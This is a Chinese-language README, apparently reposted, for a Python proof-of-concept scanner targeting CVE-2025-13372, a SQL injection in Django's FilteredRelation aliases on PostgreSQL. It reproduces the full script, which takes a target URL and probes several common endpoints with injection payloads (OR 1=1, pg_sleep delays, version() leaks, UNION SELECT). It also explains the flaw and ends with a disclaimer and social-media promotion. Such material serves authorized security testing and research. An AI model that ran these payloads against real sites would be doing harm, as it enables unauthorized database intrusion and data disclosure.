项目标题与描述
CVE-2025-13372 漏洞检测工具
本项目是一个专业的Django框架安全检测工具,专门用于检测CVE-2025-13372漏洞。该漏洞影响Django 5.2.8及以下版本、5.1.14及以下版本、4.2.26及以下版本,当应用使用PostgreSQL数据库后端、FilteredRelation功能并接受用户控制的别名参数时,可能导致SQL注入攻击。本工具通过多种检测方法(包括错误响应检测和时间延迟检测)自动化识别存在该漏洞的目标系统。
功能特性
- 多种检测方式:支持基于PostgreSQL错误响应的检测和时间延迟检测
- 自动化扫描:自动测试多个常见参数路径(alias、column、field、sort等)
- 智能Payload设计:包含多种触发漏洞的SQL注入payload
- 时间延迟检测:通过pg_sleep函数检测基于时间的SQL注入漏洞
- 错误识别:能够识别多种PostgreSQL错误模式
- 超时处理:正确处理检测过程中的超时情况
- 兼容性广泛:覆盖多种可能的Django应用端点路径
安装指南
系统要求
- Python 3.x
- requests库
- 网络访问权限
- 仅用于授权的安全测试
安装步骤
# 克隆或下载项目文件gitclone https://github.com/Ashwesker/Blackash-CVE-2025-13372.git# 安装必需的Python库pipinstallrequests# 确保有urllib3库(Python标准库的一部分)依赖项
- Python 3.x
- requests (用于HTTP请求)
- urllib3 (禁用SSL警告)
使用说明
基础使用
# 基本用法:提供目标URL作为参数python3 CVE-2025-13372-poc.py http://target.com典型使用场景
- 安全审计:对自有的Django应用进行安全测试
- 渗透测试:在授权范围内对客户系统进行漏洞检测
- 安全研究:学习SQL注入漏洞检测技术
工具工作原理
- 工具接受目标URL作为参数
- 遍历预定义的SQL注入payload列表
- 测试多个可能的端点路径(/search/, /api/filter/, /filter/等)
- 分析响应中的PostgreSQL错误指示器
- 对于时间延迟payload,检测响应延迟时间
输出示例
[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi [+] Target: http://example.com [*] Testing: http://example.com/search/?alias=%27%29%20OR%201%3D1--%20... → no indicator [*] Testing: http://example.com/api/filter/?col=%27%29%3B%20SELECT%20pg_sleep%287%29-- ... → VULNERABLE! (Time delay detected) Delay : 7.05 seconds Payload : '); SELECT pg_sleep(7)--核心代码
主检测逻辑代码
importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("Usage: python3 CVE-2025-13372-poc.py http://target.com")sys.exit(1)target=sys.argv[1].rstrip("/")# Common payloads that trigger PostgreSQL errors or delayspayloads=["') OR 1=1-- ","'); SELECT pg_sleep(7)--",# Time-based (7 sec delay = vuln)"'); SELECT version()--",# Leaks PostgreSQL version"' UNION SELECT NULL,version(),NULL--","1' AND (SELECT 1 FROM PG_SLEEP(7))--"]print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")print(f"[+] Target:{target}\n")forpayloadinpayloads:enc=urllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation + alias()/annotate()paths=[f"/search/?alias={enc}",f"/api/filter/?col={enc}",f"/filter/?field={enc}",f"/reports/?column={enc}",f"/advanced/?sort={enc}",f"/admin/lookup/?q={enc}",f"/?order={enc}"]forpathinpaths:url=target+pathtry:print(f"[*] Testing:{url[:80]}{'...'iflen(url)>80else''}",end="")r=requests.get(url,timeout=15,verify=False,allow_redirects=True)# PostgreSQL error indicatorsindicators=["syntax error at or near","column .* does not exist","unterminated quoted string","SQLSTATE","relation .* does not exist","django.db.utils.ProgrammingError"]body=r.text.lower()ifany(indinbodyforindinindicators):print(" → VULNERABLE! (PostgreSQL error)")print(f" Payload :{payload}")print(f" URL :{url}\n")sys.exit(0)# Time-based detectionif"pg_sleep"inpayload.lower()andr.elapsed.total_seconds()>=6:print(" → VULNERABLE! (Time delay detected)")print(f" Delay :{r.elapsed.total_seconds():.2f}seconds")print(f" Payload :{payload}")sys.exit(0)print(" → no indicator")exceptrequests.exceptions.Timeout:if"pg_sleep"inpayload.lower():print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")sys.exit(0)except:print(" → request failed")print("\n[-] Not vulnerable or correct endpoint not found.")print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")print("[i] Then test manually with the payloads above.")漏洞技术分析代码说明
# CVE-2025-13372 技术原理说明# 漏洞出现在以下条件同时满足时:# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典(**kwargs)构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中的别名名称# 问题根源:# Django ORM通常通过以下方式防止SQL注入:# - 转义危险字符# - 参数化输入# - 除非显式允许,否则禁止原始SQL# 但传递给以下函数的别名不会被参数化:# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)# 因为别名是SQL语法的一部分,而不是SQL值。# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。检测逻辑详解
# 检测逻辑分为三个主要部分:# 1. Payload生成:定义多种SQL注入payload# - 基础注入payload:') OR 1=1--# - 时间延迟payload:'); SELECT pg_sleep(7)--# - 信息泄露payload:'); SELECT version()--# 2. 端点枚举:测试多个可能的参数位置# - alias参数:通常与FilteredRelation一起使用# - column/field参数:可能用于动态字段选择# - sort/order参数:可能用于动态排序# 3. 结果分析:# - 错误响应分析:查找PostgreSQL特定错误模式# - 时间延迟分析:检测pg_sleep导致的响应延迟# - 超时处理:时间延迟payload导致的超时视为漏洞存在重要声明:本工具仅用于授权的安全测试和研究目的。使用前请确保已获得目标系统的明确授权。未经授权的使用可能违反法律法规。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5EfxTTpHVbezSJmapquqON
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)